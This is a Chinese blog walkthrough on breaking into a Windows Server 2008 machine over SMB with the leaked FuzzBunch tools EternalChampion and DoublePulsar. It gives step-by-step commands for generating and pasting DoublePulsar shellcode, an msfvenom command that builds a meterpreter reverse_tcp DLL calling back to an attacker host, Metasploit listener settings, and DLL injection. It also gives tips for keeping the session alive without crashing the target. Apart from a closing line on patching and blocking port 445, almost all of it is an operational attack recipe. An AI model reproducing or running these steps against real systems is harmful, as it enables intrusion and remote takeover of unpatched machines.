本文仅供实验性研究,请勿用于非法用途,出啥事我不负责。真的!别算我头上,我胆小害怕。
目前,某些特定版本的 Windows 10 也可以了,可以参见这个 PR https://github.com/rapid7/metasploit-framework/pull/9473
话说几天之前 WannaCry 的爆发真是让 EternalBlue 又火了一番,不少学校、公司都中招了。可不,我的博客都蹭热度有了前所未有的 800PV(还是 UV)。
我想起来三个多星期之前曾经写过《EternalBlue+Doublepulsar+meterpreter 渗透 Windows》,EternalBlue 使用几乎是没有门槛,但是有的时候会不支持某些特定的操作系统,此时就要使用其他的 Eternal 系列了,比如说 EternalChampion。
但是在使用 EternalChampion 的时候,发现它需要ShellcodeBuffer
,如下图所示,按照常理讲,这玩意不应该运行了就啪啪啪植入后门了么?
ShellcodeBuffer :: DOPU Shellcode buffer
类似地,EternalRomance 也需要 Shellcode,不像 EternalBlue 那样直接一路回车就行了。
有些人的第一想法可能是用 msf 生成一个 shellcode,然后在这里指定文件,但实际上这样做会似的目标机器蓝屏的,为啥,因为这玩意需要DOPU Shellcode
,DOPU 是啥,哎,不就是 DOublePUlsar 吗?
所以,此次咱们就从 SMB 出发,看看能用上啥漏洞利用工具吧!
准备工作
此次配置环境和上篇差不多
攻击机 1
带有漏洞利用工具集的 XP,并且此次需要准备好 WinHex, IP 172.26.97.35
攻击机 2
Kali, IP 172.26.97.226
靶机
Windows Server 2008 SP1 x86, IP 202.X.X.X,已经开启 445 端口
开启 FuzzBunch
不知道怎么运行 FuzzBunch 的,请参考我的上篇博文,操作方式和上次一样。TargetIP
写靶机 IP 202.X.X.X,CallBack
写运行 fb 的 IP,也就是 172.26.97.35,不使用 Redirection
使用 smbtouch 探测
- use smbtouch
- execute
smbtouch 会为我们探测出目标系统适用的漏洞利用程序
在这里我们可以看到,目标系统是 32 位的,EternalBlue 和 EternalSynergy 不支持攻击靶机,EternalRomance 无法攻击,只有 EternalChampion 可以。
使用 Doublepulsar 生成 shellcode
smbtouch 成功之后,我们使用 Doublepulsar 来生成 shellcode
- use Doublepulsar
我们一路回车默认,会发现多出来一个名为OutputInstall
的选项,选择这个
然后输入路径,比如说C:\shellcode.bin
,一路回车执行就会生成 shellcode
将 shellcode 转换成 HEX
由于 EternalChampion 需要的是ShellcodeBuffer
而不是ShellcodeFile
,所以这里我们需要将 Doublepulsar 生成的 shellcode 转换成十六进制;如果你用的是 EternalRomance,那么应该用的是ShellcodeFile
,可以跨过此步
使用 WinHex 打开我们刚刚生成的shellcode.bin
,然后选择Edit-Copy All-Hex Values
,如下图所示:
使用 EternalChampion 进行攻击
现在 shellcode 已经在我们的剪贴板中了,我们就要使用 EternalChampion 来进行攻击了。
- use EternalChampion
一路回车,在程序提示ShellcodeBuffer :: DOPU Shellcode buffer
时右键粘贴进那一堆十六进制,由于 Shellcode 比较长(4KB),所以可能会花几秒钟才会粘贴完。有人反应直接输入 4096、50 也行。
在之后我们一路回车默认,信息应该都是和目标系统相符的。在Mode :: Delivery mechanism
时像上次一样选择 FB
之后程序会进行询问,我们回车就能够运行 EternalChampion
啊哟, 赢了,金牌,NSA 你们这群人真幽默……
注意:如果你是用的 exploit 需要Shellcode File
,那么这里直接输入 shellcode 的路径,本例中为C:\shellcode.bin
,推荐把 shellcode 放在根目录,据 GitHub 上某人的回复,如果放在某个目录下可能会导致 exploit 不认。
使用 Doublepulsar 注入恶意 dll
在这之后,我们使用 Doublepulsar 注入恶意 dll,和上次操作基本一致,这里我们就再复述下吧
但是在此之前,我想看看后门是否存在,那就 Doublepulsar 中的选择function: 1 ping
,就可以确定后门是否存在啦
好,咱还是生成恶意 dll 并用 Doublepulsar 注入吧!
msfvenom 生成恶意 dll
切换到 Kali,此次就使用reverse_tcp
了
- #32位操作系统,所以生成32位的dll
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.26.97.226 LPORT=8089 -f dll >badbad.dll
- #打开MetaSploit,开始监听;如果靶机是64位系统,自行更换
- set PAYLOAD windows/meterpreter/reverse_tcp
- use exploit/multi/handler
- set LHOST 172.26.97.226
- set LPORT 8089
- run
之后将这个 dll 拷贝到 XP 中,使用 Python 创建个 http 服务器
- python –m SimpleHTTPServer 80
拿起久违的 IE,下载这个badbad.dll
文件
注入 dll
- use DoublePulsar
一路回车默认,只需要选择function 2 Run DLL
,输入我们的 dll 文件路径
然后最后直接运行,就会发现反弹成功,拿到权限了!
啊哟,执行不了 meterpreter 命令?
在一些情况下,我们可能会拿到 meterpreter 的会话,但是可能会发现执行不了啥命令,ping 下不通了,猜测目标机器蓝屏了,那咋办呢?
等等直到 ping 通,然后再次运行 EternalChampion 攻击,它会记得我们输入的 shellcode,所以一路回车,然后再次运行 Doublepulsar,在程序提示ProcessName [lsass.exe]:
选择其他的以NT Authority\System
运行的进程名,比如说spoolsv.exe, SearchIndexer.exe, lsm.exe
,这就自己试试了。然后就应该不会蓝屏啦~
其实选择啥进程其实都是可以的,大不了运行 meterpreter 的时候migrate
到其他进程就可以了。
后记
EternalBlue 支持的系统
通过查看 xml 文件能发现,有点奇怪,EternalBlue 的配置文件中支持了这么多系统,但是有时却报告不支持。
Special?
大家能看到,EternalBlue 和 EternalChampion 是在Windows\Specials
这个目录下,Special,足以看到这俩工具威力是多么巨大吧!真是可怕……
防范手段
安装 SM17-010 补丁,开启防火墙过滤 445,关闭 SMB 服务。
spoolsv.exe, SearchIndexer.exe, lsm.exe
,或者随意选个进程然后 migrate; 提示 “您将要被注销” 是因为 Windows 的一些关键进程、服务(由于我们注入 dll)意外退出了,如果此时你拿到了 shell,一分钟之内直接shutdown -a
也可以阻止关机; msfvenom 的 dll 兼容性问题… 我暂时没遇到过… PS,我文中有一块写错了,32 位系统要用 32 位来监听。MetasSploit
就可以,但是要注意防火墙、安全组的问题;还有一点需要注意,有些靶机可能不连接外网(内部物理隔离的);最后监听配置写错这种低级错误就不用再说了吧!smbtouch
检测下吧。